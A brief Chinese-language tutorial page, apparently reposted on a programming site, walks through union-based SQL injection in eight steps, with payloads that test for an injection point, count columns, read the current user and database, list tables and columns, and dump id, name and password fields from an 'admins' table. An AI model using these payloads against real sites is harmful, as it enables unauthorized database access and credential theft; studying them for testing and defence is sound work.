SQL注入之聯合查詢注入


聯合查詢的步驟為:

1.判斷是否存在注入點。

  ‘and 1=1 #

  ‘and 1=2 #

2.判斷所在的數據庫有幾列

  'order by 1 #

3.判斷他顯示的內容在數據庫的第幾列

  yiz' union select 1 #

4.查找當前用戶權限

  yiz' union select user() #

5.查找當前數據庫

  yiz' union select database() #

6.查找數據庫的表名

  yiz'union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) #

7.查詢數據庫中表下的字段

yiz'union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')#

8.查詢數據庫下字段中的內容。

yiz'union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)#


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM